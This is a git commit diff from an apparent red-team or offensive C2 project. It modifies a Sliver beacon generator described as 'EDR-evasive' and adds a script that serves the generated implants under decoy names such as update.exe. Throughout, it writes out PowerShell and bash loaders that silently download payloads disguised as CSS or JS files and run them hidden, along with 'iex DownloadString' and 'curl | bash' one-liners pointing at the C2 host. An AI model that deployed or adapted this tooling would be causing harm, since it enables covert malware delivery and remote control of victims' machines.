getting closer
This commit is contained in:
n0mad1k
@@ -4,9 +4,8 @@
|
|||||||
# Configuration (automatically populated by Ansible)
|
# Configuration (automatically populated by Ansible)
|
||||||
BEACONS_DIR="/opt/beacons"
|
BEACONS_DIR="/opt/beacons"
|
||||||
C2_HOST="{{ ansible_host }}"
|
C2_HOST="{{ ansible_host }}"
|
||||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
|
|
||||||
# Ensure required directories exist
|
# Ensure required directories exist
|
||||||
mkdir -p $BEACONS_DIR/staged
|
mkdir -p $BEACONS_DIR/staged
|
||||||
@@ -100,36 +99,63 @@ stager_win=$(random_output_name "windows")
|
|||||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||||
|
|
||||||
# Create loader scripts with redirector integration
|
# Create a manifest file for the serve-beacons.sh script to use
|
||||||
echo "#!/bin/bash
|
cat > "$BEACONS_DIR/manifest.json" << EOF
|
||||||
# Loader script for Linux beacon
|
{
|
||||||
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
"windows_exe": "$win_output",
|
||||||
chmod +x /tmp/linux_update
|
"windows_dll": "$dll_output",
|
||||||
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
"linux_binary": "$linux_output",
|
||||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
"macos_binary": "$mac_output",
|
||||||
|
"windows_stager": "staged/$stager_win",
|
||||||
# Create PowerShell stager with improved OPSEC
|
"win_profile": "$win_profile",
|
||||||
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
"dll_profile": "$dll_profile",
|
||||||
# Windows PowerShell Beacon Loader
|
"linux_profile": "$linux_profile",
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
"mac_profile": "$mac_profile",
|
||||||
\$ErrorActionPreference = "SilentlyContinue"
|
"stager_profile": "$stager_profile",
|
||||||
\$wc = New-Object System.Net.WebClient
|
"redirector_host": "$REDIRECTOR_HOST",
|
||||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
"redirector_port": "$REDIRECTOR_PORT",
|
||||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
"c2_host": "$C2_HOST",
|
||||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
"generated_date": "$(date)"
|
||||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
|
||||||
\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe"
|
|
||||||
try {
|
|
||||||
\$wc.DownloadFile(\$url, \$outpath)
|
|
||||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
|
||||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
|
||||||
} catch {
|
|
||||||
# Fail silently
|
|
||||||
}
|
}
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
|
# Create loader scripts with redirector integration
|
||||||
|
cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
|
||||||
|
#!/bin/bash
|
||||||
|
# Loader script for Linux beacon
|
||||||
|
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||||
|
chmod +x /tmp/linux_update
|
||||||
|
/tmp/linux_update &
|
||||||
|
EOFLINUX
|
||||||
|
|
||||||
|
# Replace placeholder with actual redirector host
|
||||||
|
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||||
|
|
||||||
|
# Create PowerShell stager with improved OPSEC
|
||||||
|
cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
|
||||||
|
# Windows PowerShell Beacon Loader
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
$ErrorActionPreference = "SilentlyContinue"
|
||||||
|
$wc = New-Object System.Net.WebClient
|
||||||
|
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||||
|
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||||
|
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||||
|
try {
|
||||||
|
$wc.DownloadFile($url, $outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOFPS
|
||||||
|
|
||||||
|
# Replace placeholder with actual redirector host
|
||||||
|
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
||||||
|
|
||||||
# Create index of generated files
|
# Create index of generated files
|
||||||
echo "[+] Creating reference file with beacon details"
|
|
||||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||||
C2 Server Details:
|
C2 Server Details:
|
||||||
- C2 IP: $C2_HOST
|
- C2 IP: $C2_HOST
|
||||||
@@ -150,6 +176,5 @@ Usage:
|
|||||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Cleanup temporary files
|
echo "[+] Beacon generation with redirector integration complete"
|
||||||
rm -rf $TEMP_DIR
|
echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"
|
||||||
echo "[+] Beacon generation with redirector integration complete"
|
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
BEACONS_DIR="/opt/beacons"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
LISTEN_PORT=8443
|
||||||
|
|
||||||
|
# Check if manifest file exists (created by generate_evasive_beacons.sh)
|
||||||
|
if [ -f "$BEACONS_DIR/manifest.json" ]; then
|
||||||
|
echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
|
||||||
|
# Extract beacon paths from manifest
|
||||||
|
WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
|
||||||
|
WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
|
||||||
|
LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
|
||||||
|
MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
|
||||||
|
WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
|
||||||
|
|
||||||
|
# Print beacon info
|
||||||
|
echo "[+] Using these Sliver beacons:"
|
||||||
|
echo " - Windows EXE: $WIN_EXE"
|
||||||
|
echo " - Windows DLL: $WIN_DLL"
|
||||||
|
echo " - Linux Binary: $LINUX_BIN"
|
||||||
|
echo " - macOS Binary: $MAC_BIN"
|
||||||
|
echo " - Windows Stager: $WIN_STAGER"
|
||||||
|
else
|
||||||
|
echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
|
||||||
|
echo "[!] Will search for beacons in $BEACONS_DIR..."
|
||||||
|
|
||||||
|
# Try to find beacons directly
|
||||||
|
WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
|
||||||
|
WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||||
|
LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
|
||||||
|
MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
|
||||||
|
WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
|
||||||
|
|
||||||
|
# Check if we found any beacons
|
||||||
|
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||||
|
echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create temporary directory for web server
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
mkdir -p $TEMP_DIR/downloads
|
||||||
|
mkdir -p $TEMP_DIR/scripts
|
||||||
|
|
||||||
|
# Copy beacons to web directory with generic names
|
||||||
|
if [ -n "$WIN_EXE" ]; then
|
||||||
|
cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
|
||||||
|
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$WIN_DLL" ]; then
|
||||||
|
cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
|
||||||
|
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$LINUX_BIN" ]; then
|
||||||
|
cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
|
||||||
|
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$MAC_BIN" ]; then
|
||||||
|
cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
|
||||||
|
echo "[+] Serving macOS Binary: $MAC_BIN"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$WIN_STAGER" ]; then
|
||||||
|
cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
|
||||||
|
echo "[+] Serving Windows Stager: $WIN_STAGER"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Copy loader scripts if they exist
|
||||||
|
if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
|
||||||
|
cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
|
||||||
|
echo "[+] Serving Windows PowerShell loader"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
|
||||||
|
cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
|
||||||
|
echo "[+] Serving Linux bash loader"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create additional PowerShell downloader script
|
||||||
|
cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
|
||||||
|
# PowerShell downloader for Sliver beacons
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
|
||||||
|
# Random temporary file
|
||||||
|
$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
|
||||||
|
|
||||||
|
# Download and execute
|
||||||
|
try {
|
||||||
|
$webClient = New-Object System.Net.WebClient
|
||||||
|
$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||||
|
$webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
|
||||||
|
Start-Process -WindowStyle Hidden $tempFile
|
||||||
|
"Successfully downloaded and executed update."
|
||||||
|
} catch {
|
||||||
|
"Error during update process."
|
||||||
|
}
|
||||||
|
EOFPS
|
||||||
|
|
||||||
|
# Replace placeholders
|
||||||
|
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
|
||||||
|
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
|
||||||
|
|
||||||
|
# Create Linux bash download script
|
||||||
|
cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
|
||||||
|
#!/bin/bash
|
||||||
|
# Linux download and execute Sliver beacon
|
||||||
|
|
||||||
|
# Download binary to /tmp with random name
|
||||||
|
TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||||
|
curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
|
||||||
|
chmod +x $TMPFILE
|
||||||
|
|
||||||
|
# Execute in background
|
||||||
|
$TMPFILE &
|
||||||
|
|
||||||
|
echo "Update complete."
|
||||||
|
EOFSH
|
||||||
|
|
||||||
|
# Replace placeholders
|
||||||
|
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
|
||||||
|
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
|
||||||
|
chmod +x $TEMP_DIR/scripts/beacon.sh
|
||||||
|
|
||||||
|
# Create helpful index page
|
||||||
|
cat > $TEMP_DIR/index.html << EOL
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Sliver Beacon Downloads</title>
|
||||||
|
<style>
|
||||||
|
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||||
|
h1 { color: #333; }
|
||||||
|
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||||
|
.warning { color: #a00; font-weight: bold; }
|
||||||
|
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Sliver Beacon Downloads</h1>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Available Beacons</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/downloads/update.exe">Windows Beacon</a></li>
|
||||||
|
<li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
|
||||||
|
<li><a href="/downloads/update-linux">Linux Beacon</a></li>
|
||||||
|
<li><a href="/downloads/update-mac">macOS Beacon</a></li>
|
||||||
|
<li><a href="/downloads/stager.exe">Windows Stager</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Auto-Download Scripts</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
|
||||||
|
<li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
|
||||||
|
<li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
|
||||||
|
<li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Quick Commands</h2>
|
||||||
|
<p>Windows PowerShell:</p>
|
||||||
|
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
|
||||||
|
<p>Linux Bash:</p>
|
||||||
|
<code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOL
|
||||||
|
|
||||||
|
# Start Python HTTP server in background
|
||||||
|
cd $TEMP_DIR
|
||||||
|
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||||
|
SERVER_PID=$!
|
||||||
|
echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||||
|
|
||||||
|
# Print useful information for the operator
|
||||||
|
echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||||
|
echo "[+] Available Sliver beacons:"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick PowerShell download command:"
|
||||||
|
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick Linux download command:"
|
||||||
|
echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"
|
||||||
@@ -1,155 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Corrected EDR-evasive beacon generator with templated redirector integration
|
|
||||||
|
|
||||||
# Configuration (automatically populated by Ansible)
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
C2_HOST="{{ ansible_host }}"
|
|
||||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
|
||||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
|
|
||||||
# Ensure required directories exist
|
|
||||||
mkdir -p $BEACONS_DIR/staged
|
|
||||||
mkdir -p $BEACONS_DIR/shellcode
|
|
||||||
|
|
||||||
# Generate unique random values for each execution
|
|
||||||
random_string() {
|
|
||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
|
||||||
}
|
|
||||||
|
|
||||||
# Create a new Sliver profile with redirector-compatible paths
|
|
||||||
create_profile() {
|
|
||||||
local type=$1
|
|
||||||
local profile_name="profile-${type}-$(random_string 8)"
|
|
||||||
|
|
||||||
# Use paths that match the redirector NGINX configuration
|
|
||||||
local http_path1="/ajax/$(random_string 8)"
|
|
||||||
local http_path2="/static/js/$(random_string 6).js"
|
|
||||||
|
|
||||||
local interval=$(( 30 + RANDOM % 120 ))
|
|
||||||
local jitter=$(( 10 + RANDOM % 35 ))
|
|
||||||
|
|
||||||
# Use sliver-client to create a new profile
|
|
||||||
echo "[+] Creating profile: $profile_name"
|
|
||||||
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
|
||||||
|
|
||||||
echo $profile_name
|
|
||||||
}
|
|
||||||
|
|
||||||
# Generate implant using existing profile
|
|
||||||
generate_implant() {
|
|
||||||
local profile_name=$1
|
|
||||||
local os_type=$2
|
|
||||||
local arch=$3
|
|
||||||
local format=$4
|
|
||||||
local output_name=$5
|
|
||||||
|
|
||||||
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
|
||||||
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Random output filename generator
|
|
||||||
random_output_name() {
|
|
||||||
local type=$1
|
|
||||||
local names=(
|
|
||||||
"update" "service" "client" "agent" "app" "system"
|
|
||||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
|
||||||
)
|
|
||||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
|
||||||
|
|
||||||
case "$type" in
|
|
||||||
windows) echo "${name}.exe" ;;
|
|
||||||
windows_dll) echo "${name}.dll" ;;
|
|
||||||
linux) echo "${name}" ;;
|
|
||||||
darwin) echo "${name}" ;;
|
|
||||||
*) echo "${name}" ;;
|
|
||||||
esac
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
|
||||||
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
|
||||||
echo "[+] C2 host: $C2_HOST"
|
|
||||||
|
|
||||||
# Windows EXE
|
|
||||||
win_profile=$(create_profile "windows")
|
|
||||||
win_output=$(random_output_name "windows")
|
|
||||||
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
|
||||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
|
||||||
|
|
||||||
# Windows DLL
|
|
||||||
dll_profile=$(create_profile "windows_dll")
|
|
||||||
dll_output=$(random_output_name "windows_dll")
|
|
||||||
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
|
||||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
|
||||||
|
|
||||||
# Linux binary
|
|
||||||
linux_profile=$(create_profile "linux")
|
|
||||||
linux_output=$(random_output_name "linux")
|
|
||||||
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
|
||||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
|
||||||
|
|
||||||
# macOS binary
|
|
||||||
mac_profile=$(create_profile "darwin")
|
|
||||||
mac_output=$(random_output_name "darwin")
|
|
||||||
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
|
||||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
|
||||||
|
|
||||||
# Generate stagers
|
|
||||||
stager_profile=$(create_profile "stager")
|
|
||||||
stager_win=$(random_output_name "windows")
|
|
||||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
|
||||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
|
||||||
|
|
||||||
# Create loader scripts with redirector integration
|
|
||||||
echo "#!/bin/bash
|
|
||||||
# Loader script for Linux beacon
|
|
||||||
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
|
||||||
chmod +x /tmp/linux_update
|
|
||||||
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
|
||||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
|
||||||
|
|
||||||
# Create PowerShell stager with improved OPSEC
|
|
||||||
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
|
||||||
# Windows PowerShell Beacon Loader
|
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
|
||||||
\$ErrorActionPreference = "SilentlyContinue"
|
|
||||||
\$wc = New-Object System.Net.WebClient
|
|
||||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
|
||||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
|
||||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
|
||||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
|
||||||
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
|
||||||
try {
|
|
||||||
\$wc.DownloadFile(\$url, \$outpath)
|
|
||||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
|
||||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
|
||||||
} catch {
|
|
||||||
# Fail silently
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Create index of generated files
|
|
||||||
echo "[+] Creating reference file with beacon details"
|
|
||||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
|
||||||
C2 Server Details:
|
|
||||||
- C2 IP: $C2_HOST
|
|
||||||
- Redirector Domain: $REDIRECTOR_HOST
|
|
||||||
|
|
||||||
Beacons Generated ($(date)):
|
|
||||||
- Windows EXE: $win_output (Profile: $win_profile)
|
|
||||||
- Windows DLL: $dll_output (Profile: $dll_profile)
|
|
||||||
- Linux Binary: $linux_output (Profile: $linux_profile)
|
|
||||||
- macOS Binary: $mac_output (Profile: $mac_profile)
|
|
||||||
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
|
||||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
|
||||||
3. Test connectivity before deployment in target environment
|
|
||||||
|
|
||||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Cleanup temporary files
|
|
||||||
rm -rf $TEMP_DIR
|
|
||||||
echo "[+] Beacon generation with redirector integration complete"
|
|
||||||
Reference in New Issue
Block a user